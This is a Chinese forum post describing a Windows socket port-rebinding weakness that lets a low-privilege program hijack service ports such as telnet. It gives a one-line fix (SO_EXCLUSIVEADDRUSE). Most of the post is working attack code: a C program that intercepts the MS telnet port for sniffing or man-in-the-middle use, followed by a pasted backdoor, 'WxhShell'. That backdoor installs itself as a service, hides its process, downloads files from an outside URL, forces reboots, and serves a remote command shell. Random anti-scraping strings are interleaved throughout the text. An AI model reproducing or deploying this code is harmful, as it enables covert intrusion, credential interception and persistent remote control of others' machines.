-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1<!P:@( s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +<E#_)}`D6 F,_L}
saddr.sin_family = AF_INET; f`qy~M& 6))":<J saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9^*RK6 OX"Na2-el bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /d&m#%9Up] 24wDnDyh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Bl\:YYd 8^_:9&) i 这意味着什么?意味着可以进行如下的攻击: 7C|AiSH l!p`g>$&f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7-S?RU]g \Z5Wp5az}, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^wy $#=d@Nw_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )G48,.
" <)d%c%f'` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "~Fg-{jM% INndTF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #Y= A#Yz,{ 67EGkW?hbt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >nkVZ;tL FG${w.e< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k8 #8)d h3F559bw/< #include $:s@nKgnD~ #include bidFBldKl #include bd/A0i?C #include 0H_Ai=G DWORD WINAPI ClientThread(LPVOID lpParam); qT?{}I int main() P(PBOB97 { x(c+~4:_M WORD wVersionRequested; nWK8.&{. DWORD ret; HxbzFu?h WSADATA wsaData; xOkdu k] BOOL val; D5"5`w=C SOCKADDR_IN saddr; &[yC M! SOCKADDR_IN scaddr; :'DX
M{ int err; IJf%OA>v SOCKET s; &r[f ;|o
SOCKET sc; :>!-[hfQ int caddsize; APl]EV"l HANDLE mt; 4QQt 0u0 DWORD tid; vU%o5y: wVersionRequested = MAKEWORD( 2, 2 ); d- ZUuw err = WSAStartup( wVersionRequested, &wsaData ); +"84.PZ if ( err != 0 ) { 45 biy(qa printf("error!WSAStartup failed!\n"); 2*snMA return -1; mc]+j,d } [FhYQI saddr.sin_family = AF_INET; +c8`N'~ |k~AGc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WSpF/Wwc -UEi saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AYf}=t| saddr.sin_port = htons(23); |6So$;` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |>}CoR7 { |0ZJ[[2 printf("error!socket failed!\n"); M[I=N return -1; )Q1aAS3 } *o1US val = TRUE; q&=z^Ln!G //SO_REUSEADDR选项就是可以实现端口重绑定的 pCkMm)2g! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 4$^mLD$> { \zU<o~gs printf("error!setsockopt failed!\n"); xR-;,=J return -1; ;8[VCU: } QYH#WrIVx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ht.P670 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 huqtk4u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A^}# ql9n`?Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~Jf(M^E { X!g;;DB\ ret=GetLastError(); ?[#w*Am7 printf("error!bind failed!\n"); Um/l{:S return -1; xy`Y7W= } aUL7]'q} listen(s,2); DWtITO> while(1) M?8sy { 3^KR{N p caddsize = sizeof(scaddr); 7mSNz. //接受连接请求 uWx<J3~q. sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YXo?(T.. if(sc!=INVALID_SOCKET) ]6(%tU { 5H Cw%n9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $j,$O>V if(mt==NULL) =
V')}f~C { '-myOM7 printf("Thread Creat Failed!\n"); 6}Y==GPt break; nql1I<I } -f ? } nU= CloseHandle(mt); E3a^"V3p } ok6t|
7sq closesocket(s); sm"Rp~[i WSACleanup(); 5~pxu return 0; kmW/{I9,ua } TgJ+:^+0 DWORD WINAPI ClientThread(LPVOID lpParam)
Wx}-H/t'2 { -e$ T}3IV SOCKET ss = (SOCKET)lpParam; gIO_mJ3 u SOCKET sc; xw{K,;WeO unsigned char buf[4096]; NEIF1(: SOCKADDR_IN saddr; @=G[mc\ long num; (<B%Gy@ DWORD val; Qu#[PDhb DWORD ret; WS6Qp`c)e //如果是隐藏端口应用的话,可以在此处加一些判断 0]f/5jvLj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 H3 !9H saddr.sin_family = AF_INET; K91O$'J saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w
nBvJb]4l saddr.sin_port = htons(23); # [i3cn
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E6R\DM { kJ%a;p`O printf("error!socket failed!\n"); 4,@jSr|I3i return -1; pj7al; } +PBl3 val = 100; K:e[#b8:R if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S*n5d >; { 5(2 C ret = GetLastError(); Tcv/EST return -1; x _kT
Wq } Z;NaIJiL- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Eve,*ATI { ,2U ret = GetLastError(); W)Mz1v #s return -1; =,6X_m } EPwU{*F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) VI|2vV6? { )Ko~6.:5H printf("error!socket connect failed!\n"); z(,j)". closesocket(sc); +P+h$gQ closesocket(ss); Lo}T%0"G return -1; rR^o } G/~b(V;> while(1) ^:$ShbX"P { cxQ %tL+S& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XFWE^*e=B //如果是嗅探内容的话,可以再此处进行内容分析和记录 @-0mE_$[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 OI0@lSAo< num = recv(ss,buf,4096,0); 'b" 7Lzp2 if(num>0) H`k
YDp send(sc,buf,num,0); v6wg,,T else if(num==0) >B``+Z^2 break; ]):>9q$C num = recv(sc,buf,4096,0); 'Hj([N if(num>0) fg,vTpBk send(ss,buf,num,0); 1fV)tvU$ else if(num==0) N,8.W"fV break; Zcw<USF8 } fHwS12SB closesocket(ss); OK-*TPrc closesocket(sc); T+gH38!e return 0 ; YHY*dk*|C } yzl}!& E ve"tbNL mQt0?c _ ========================================================== PB*G#2W Pxkh;:agD 下边附上一个代码,,WXhSHELL 4KHIUW$ v.sjWF ========================================================== ,c`Wmp^AY Gh6U<;V?* #include "stdafx.h" ?Vh#Gr }Q9+krrow #include <stdio.h> 7wY0JS$fz #include <string.h> rmC7!^/ #include <windows.h> }4piZ
ch #include <winsock2.h> eu]qgtg~U #include <winsvc.h> a6A~,68/V #include <urlmon.h> 3&"uf9d 9:3`LY3wW #pragma comment (lib, "Ws2_32.lib") A!^r9 ?< #pragma comment (lib, "urlmon.lib") Pd;8<UMk x1Z'_Qw #define MAX_USER 100 // 最大客户端连接数 7$Wbf4 #define BUF_SOCK 200 // sock buffer ?MfwRWY #define KEY_BUFF 255 // 输入 buffer ![4_K':= OaT]2o #define REBOOT 0 // 重启 }fef* >>} #define SHUTDOWN 1 // 关机 5zZQt+Ip BhjDyB #define DEF_PORT 5000 // 监听端口 BaUuDo/ZO Q t>|TGz #define REG_LEN 16 // 注册表键长度 uK#2vgT #define SVC_LEN 80 // NT服务名长度 u] G `SZ-o{ // 从dll定义API r?
}|W2^% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eA``fpr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ePR9r} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j4`+RS+q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B>I:KGkV _d^d1Q}V // wxhshell配置信息 +BhJske struct WSCFG { S{)K_x int ws_port; // 监听端口 <gFisc/#r char ws_passstr[REG_LEN]; // 口令 &Cm]*$? int ws_autoins; // 安装标记, 1=yes 0=no "&`>+Yw char ws_regname[REG_LEN]; // 注册表键名 m;1/+qs0 char ws_svcname[REG_LEN]; // 服务名 9s7TLT k char ws_svcdisp[SVC_LEN]; // 服务显示名 N9*QQ0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 I\M
}Dxpp char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]Nssn\X7 int ws_downexe; // 下载执行标记, 1=yes 0=no ;bHS^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" QX&Y6CC`] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @KHY8y7 o!&+ _BKw }; Vo.~1^ rR/{Yx4 // default Wxhshell configuration 9@mvG^ struct WSCFG wscfg={DEF_PORT, +!:=Mm "xuhuanlingzhe", ^qVBg BPb 1, /C<p^#g9. "Wxhshell", &U`ug"/k "Wxhshell", WWOt>C~zV "WxhShell Service", r=7!S8' "Wrsky Windows CmdShell Service", `}L{gssv "Please Input Your Password: ", )J+A2> 1, $-jj%kS " http://www.wrsky.com/wxhshell.exe", V[Sj+&e& "Wxhshell.exe" a2]ZYY`R7 }; 0S&J=2D! mfffOG // 消息定义模块 E.0J94>iM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `|v/qk7
^? char *msg_ws_prompt="\n\r? for help\n\r#>"; z;/8R7L& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; yc`3) char *msg_ws_ext="\n\rExit."; (c"!&&S^ = char *msg_ws_end="\n\rQuit."; q
\fyp\z char *msg_ws_boot="\n\rReboot..."; =[Z3]#h char *msg_ws_poff="\n\rShutdown..."; G;[O~N3n. char *msg_ws_down="\n\rSave to "; ~6O~Fth 9KJ}Ai char *msg_ws_err="\n\rErr!"; 62Tel4u char *msg_ws_ok="\n\rOK!"; xpu2RE f<|*^+ char ExeFile[MAX_PATH]; 3zc;_U2 int nUser = 0; Jt<J#M<}7 HANDLE handles[MAX_USER]; 5')]Y1J int OsIsNt; xsy45az<ip IDpx_ SERVICE_STATUS serviceStatus; Bga4kjfmk SERVICE_STATUS_HANDLE hServiceStatusHandle; .wlKl[lE2 f87XE";:A // 函数声明 s%>8y\MaK int Install(void);
{gD`yoPrV int Uninstall(void); q"S,<I<f int DownloadFile(char *sURL, SOCKET wsh); lF40n4} int Boot(int flag); 9`"#OQPn1 void HideProc(void); F~7TE91C int GetOsVer(void); 5DkEJk7a int Wxhshell(SOCKET wsl); "3a}~J<g void TalkWithClient(void *cs); ?|
6sTu! int CmdShell(SOCKET sock); -okq=9 int StartFromService(void); F!4V!VWA} int StartWxhshell(LPSTR lpCmdLine); (#)XRm{t N>Uxq&)! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |;d#k+/; VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4gVIuF*pS .!i`YT*jF // 数据结构和表定义 wa`c3PQGu SERVICE_TABLE_ENTRY DispatchTable[] = %XZhSmlf { pp7
$Q>6 {wscfg.ws_svcname, NTServiceMain}, [gZR}E {NULL, NULL} rO{?.#~ }; JR&yaOws 5v`lCu] // 自我安装 :)T*:51{# int Install(void) 8K8jz9.s { cnw+^8 char svExeFile[MAX_PATH]; ?Pf#~U_ HKEY key; c9c3o{(6Y strcpy(svExeFile,ExeFile); )~ &gBX ab.B?bx // 如果是win9x系统,修改注册表设为自启动 \j BA4?(S if(!OsIsNt) { 0@y`iZ]
1S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q00v(6V46 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?_p!teb RegCloseKey(key); 0*oavY* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 02NVdpo[wU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4sBvW RegCloseKey(key); E $W0HZ' return 0; .)p%|A#^ } -AolW+Y } y9LO;{( } M&gi$Qs[E else { T/ eX7p1 W2zG"Q // 如果是NT以上系统,安装为系统服务 ,`k6@4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /(u? k%Q if (schSCManager!=0) VZ">vIRyi| { 'iOaj0f SC_HANDLE schService = CreateService v"mZy,u ( &5z9C=]e schSCManager, 6X?:mn'%QF wscfg.ws_svcname, ![fNlG!r wscfg.ws_svcdisp, #Ak|p#7 ^ SERVICE_ALL_ACCESS, 1wdc4> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Eb:AC5 SERVICE_AUTO_START, v<<ATs%w SERVICE_ERROR_NORMAL, _g( aO70Zu svExeFile, wi+L4v NULL, Yo=$@~vN] NULL, o~L(;A]yN NULL, ~Lg ;7i1L
NULL, EE`[J0 ( NULL F#RN m5 ); x2r.4 if (schService!=0) W\5 -Yg(@ { mpVD;)?JmM CloseServiceHandle(schService); G`Z<a CloseServiceHandle(schSCManager); PlK3; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7zA+UWr strcat(svExeFile,wscfg.ws_svcname); [u^ fy<jdp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {.[EX MX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G-K{ RegCloseKey(key); ^;9l3P{ return 0; =n_z `I } ,oSn<$%/q } qN9 ?$\ CloseServiceHandle(schSCManager); F7nwVDc* } }A;YM1^$ } F< 5kcu#iL ;T8(byH ? return 1; S#He OPRL } @'GPZpbvZ F?6Q(mRl // 自我卸载 (NDC9Lls int Uninstall(void) fkImX:|q { hx8pg,X HKEY key; Tp.]{* .3V L if(!OsIsNt) { ?z6K/'? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }bdoJ5 RegDeleteValue(key,wscfg.ws_regname); @Bjp7v:w RegCloseKey(key); *//z$la if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ea'jAIFPpO RegDeleteValue(key,wscfg.ws_regname); GO@<?>K RegCloseKey(key); _*8 6 return 0; C!9mygI } skTaIGRL } $sg- P|Wo } d#$Pf=} else { IMMsOl 0dS (g&ZR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :%j"l7=> if (schSCManager!=0) 2EN}"Du]mj { `.3.n8V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IR:{ { ( if (schService!=0) ,`!lZ|
U { U 0~BcFpD if(DeleteService(schService)!=0) { * a1q M? CloseServiceHandle(schService); }NGP! CloseServiceHandle(schSCManager); Vm8dX? return 0; ^`aw5 +S } =2DK?]K; CloseServiceHandle(schService); \w1',"l` } kTT%<
e CloseServiceHandle(schSCManager); :pz@'J } J|be'V#]1 } [q_62[-X
cC| return 1; ahCwA} } Lc[TIX JdUdl_Dz // 从指定url下载文件 s6(md<r int DownloadFile(char *sURL, SOCKET wsh) QlR~rFs9t { 4${3e
Sg_ HRESULT hr; wL>*WLfR char seps[]= "/"; :V#xrH8R char *token; C!+PBk[9 char *file; O0`ofFN char myURL[MAX_PATH]; 77aUuP7Iw char myFILE[MAX_PATH]; QHUFS{G] 'W54 T strcpy(myURL,sURL); "cly99t token=strtok(myURL,seps); 0:4>rYBC while(token!=NULL) ][V`ym-e { <&O*'
<6C file=token; B1E:P`t token=strtok(NULL,seps); WS.g`% } (f_J @n T3"'`Sd9; GetCurrentDirectory(MAX_PATH,myFILE); _Ye.29 strcat(myFILE, "\\"); %Ny1H/@Q1+ strcat(myFILE, file); `nEqw/I send(wsh,myFILE,strlen(myFILE),0); c~OPH
0, send(wsh,"...",3,0); AS~!YR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <
]+Mdy if(hr==S_OK) &sBD0R(a return 0; v.TgB) else /dvronG return 1; i`];xNR' 7,Z<PE } o]qwN:8^ @.}Y'`9L // 系统电源模块 $MNJsc^n int Boot(int flag) g=qaq
{ OQ 4h8, HANDLE hToken; 5P\A++22Y TOKEN_PRIVILEGES tkp; > mJ`904L 2Kr>93O if(OsIsNt) { 3$5E1*ed OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KECW~e` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k2,`W2]^E tkp.PrivilegeCount = 1; ru`U/6n tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l.Ev]G/5 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {+d)M if(flag==REBOOT) { @H+L1H%9n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c9CFGo?)N return 0; 1x\k:2U } DS7L}] else { D2gyn-]\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R-OO1~W= return 0; $ywROa] } '!?t+L%gO } Ct~j/. else { <]|HGc if(flag==REBOOT) { ~ QohP`_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T:2f*!r return 0; jAy2C&aP } J65:MaS else { K[/L!.Ag if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U@n5:d= return 0; t?Qbi)T=z } >BK/HuS } 6Uq;]@k% (3!6nQj-t return 1; e<a*@
P, } @H~oOf 'wMvO{}$ // win9x进程隐藏模块 g.%} +5 void HideProc(void) r%ebC { L$s ENOm 5jwv! L<n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :g|NE\z`)/ if ( hKernel != NULL ) UF }[%Sa { -{9mctt/gE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7ZyP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); " Y^9g/ FreeLibrary(hKernel); }BL7P-km } 2cIKph )rAJ>; return; Wq5}LO) } $0un`&W tCGx]\ // 获取操作系统版本 J` gG`? int GetOsVer(void) K{`R`SXD { SDE$ymPx OSVERSIONINFO winfo; xfI0P0+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Oq(` 4 GetVersionEx(&winfo); IvY3iRq6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w%X@os}E return 1; ]$9y7Bhj. else j|&D(]W/ return 0; L]!![v.VY } K*b* ]hf{ v7KBYN // 客户端句柄模块 G `!A#As int Wxhshell(SOCKET wsl) v@q&B|0 { GI,TE SOCKET wsh; [+R_3'aK struct sockaddr_in client; $cJ fdE DWORD myID; Z}>F
V~4 c(2?./\| while(nUser<MAX_USER) _Z9d.- { YVgH[-`, int nSize=sizeof(client); BN%cX2j wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S1Od&v[R if(wsh==INVALID_SOCKET) return 1; 6S_mfWsi ?a% F3B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rTVv6:L if(handles[nUser]==0) 6jgP/~hP>N closesocket(wsh); <Lxp t else "Ueq nUser++; jIrfJ*z } ob2_=hQnC WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ty"L&$bf Bt,'g*Cs return 0; 0#8, (6 } O< /b]<[ r nr-wUW@ // 关闭 socket se2Y:v void CloseIt(SOCKET wsh) -=gI_wLbM { Z8Y&#cB closesocket(wsh); v^s?=9 nUser--; |? fAe{*
ExitThread(0); n w`rH* } l1]{r2g JeNX5bXW // 客户端请求句柄 j
nSZ@u void TalkWithClient(void *cs) Fv
%@k{ { k\T]*A Q(yg bT SOCKET wsh=(SOCKET)cs; LiQH!yHW char pwd[SVC_LEN]; <X4f2z{T{@ char cmd[KEY_BUFF]; H!X*29nX char chr[1]; W5Pur
lu? int i,j; MnF|'t 2}/r>]9^- while (nUser < MAX_USER) { - ry Yu_
eCq5/ if(wscfg.ws_passstr) { (2L,m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C(B"@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _xi&%F/ //ZeroMemory(pwd,KEY_BUFF); j#P4& i=0; OAW_c.)5D while(i<SVC_LEN) { B]<N7NYn1 c U(z5th // 设置超时 &K9RV4M5 fd_set FdRead; u1u;aG struct timeval TimeOut; q5EkAh<PD| FD_ZERO(&FdRead); SnXM`v, FD_SET(wsh,&FdRead); >.od(Fh{l| TimeOut.tv_sec=8; CPcUB4a%# TimeOut.tv_usec=0; %@)q=*=y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O NcLhwH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _ eBNbO_J JLo E)\Mi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R[v<mo[s pwd =chr[0]; nXb_\9E if(chr[0]==0xd || chr[0]==0xa) { K8BlEF` pwd=0; sg}<() break; W1xPK* } J>#yA0QD2 i++; c?c\6*O } s91[DT4 PZZPx<?N // 如果是非法用户,关闭 socket Rc4=zimr+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vShB26b } Z"w}`&TC$^ 4h--x~ @ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 04v
~K send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mSu$1m8 *& );-r`. while(1) { Sw-2vnSdM Z>Rshtg ZeroMemory(cmd,KEY_BUFF); <6+B;brh *9=}f;~ // 自动支持客户端 telnet标准 XfMUodV-OZ j=0; <'sm($.2 while(j<KEY_BUFF) { %_p]6doF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h]z 8.k2n cmd[j]=chr[0]; ZTfW_0
if(chr[0]==0xa || chr[0]==0xd) { rOEBL|P0 cmd[j]=0;
:KG=3un] break; tCR~z1 } m3P7*S5NJ7 j++; ,f,+) C$ } b.[9Adi > }.9a!/@Aj // 下载文件 gjnEN1T22 if(strstr(cmd,"http://")) { 'IIa,']H send(wsh,msg_ws_down,strlen(msg_ws_down),0); D5bi)@G7z if(DownloadFile(cmd,wsh)) eUCBQK send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7iM@BeIf else Q7v1xBM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >>C
S8 } zlQBBm;fE else { Rb:?%\= knV*,
switch(cmd[0]) { oVbs^sbRH y,`0f| // 帮助 .T(vGiU case '?': { -:45Q{u/ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^
.A break; "ixea- 2 } jHatUez4O // 安装 B]gyj case 'i': { W) if(Install()) #{?RE?nD send(wsh,msg_ws_err,strlen(msg_ws_err),0); zn^ G V else Rh
]XJM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qu8=zI>t break; &%/T4$'+Y+ } Q\xDAOEL // 卸载 G
OG[^T case 'r': { 3bo
[34 if(Uninstall()) jll|y0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); z/QYy)_j else i7 YUyU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OR|Jc+LT break; FBouXu# } !lsa5w{ // 显示 wxhshell 所在路径 e!w2_6?3 case 'p': { Q/j#Pst char svExeFile[MAX_PATH]; I*cb\eU8Y strcpy(svExeFile,"\n\r"); ]uh/ !\ strcat(svExeFile,ExeFile); tr/.pw6 send(wsh,svExeFile,strlen(svExeFile),0); ?GLCd7TP break; ph!h8@e } 3tUn?;9B // 重启 ]{+Y!tD case 'b': { L %ifl:K send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3X ',L*f if(Boot(REBOOT)) Uy)pEEu send(wsh,msg_ws_err,strlen(msg_ws_err),0); (47la$CR else { jMS>B)'TO closesocket(wsh); x6Gl|e[jv ExitThread(0); i$6a0'@U } P&tw!B break; *a{WJbau] } /!p}H'jl // 关机 f;,*P,K case 'd': { 8+Gwv
SDU send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >T0`( #Lm if(Boot(SHUTDOWN)) #(+V&<K send(wsh,msg_ws_err,strlen(msg_ws_err),0); z_{_wAuY else { fF9hL3h?) closesocket(wsh); -3b_}by ExitThread(0); =kK%,Mr } -GB,g=Dk break; i;|I;5tC } D,=#SBJ :Z // 获取shell UFj!7gX ] case 's': { DeT$4c*:[ CmdShell(wsh); ,TB$D]u8 closesocket(wsh); M&9urOa` ExitThread(0); Au(oKs< break; wPcEvGBN= } 7xG~4N<)] // 退出 %CgV:.,K case 'x': { MTNC{:Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,\RR@~u' CloseIt(wsh); jPx}-_jM break; {L.uLr_?e } _nX8f
& // 离开 :B7U),T case 'q': { #!#s7^%K& send(wsh,msg_ws_end,strlen(msg_ws_end),0); %S$$*|_G closesocket(wsh); })J}7@VPO WSACleanup(); # Oq.}x?i exit(1); JZ:yPvJ break; GWWaH+F[h } H(M{hfa| } m"'`$ /_ } 9 v8^uPA #<u;.'R // 提示信息 Ra
H1aS( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :l iDoGDi } &rX#A@= } ! gfd!R aS\$@41" return; tB(~:"|8 } puMbB9) iY&I?o!Ch // shell模块句柄 E8p,l>6(f int CmdShell(SOCKET sock) Mk+G(4p { +#< Z/ STARTUPINFO si; rQ U6*f ZeroMemory(&si,sizeof(si)); %9S0!h\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5)h fI7{d si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =]"I0G-s! PROCESS_INFORMATION ProcessInfo; )1HWD]>4 char cmdline[]="cmd"; WNQ<XBqAw CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kl9~obX
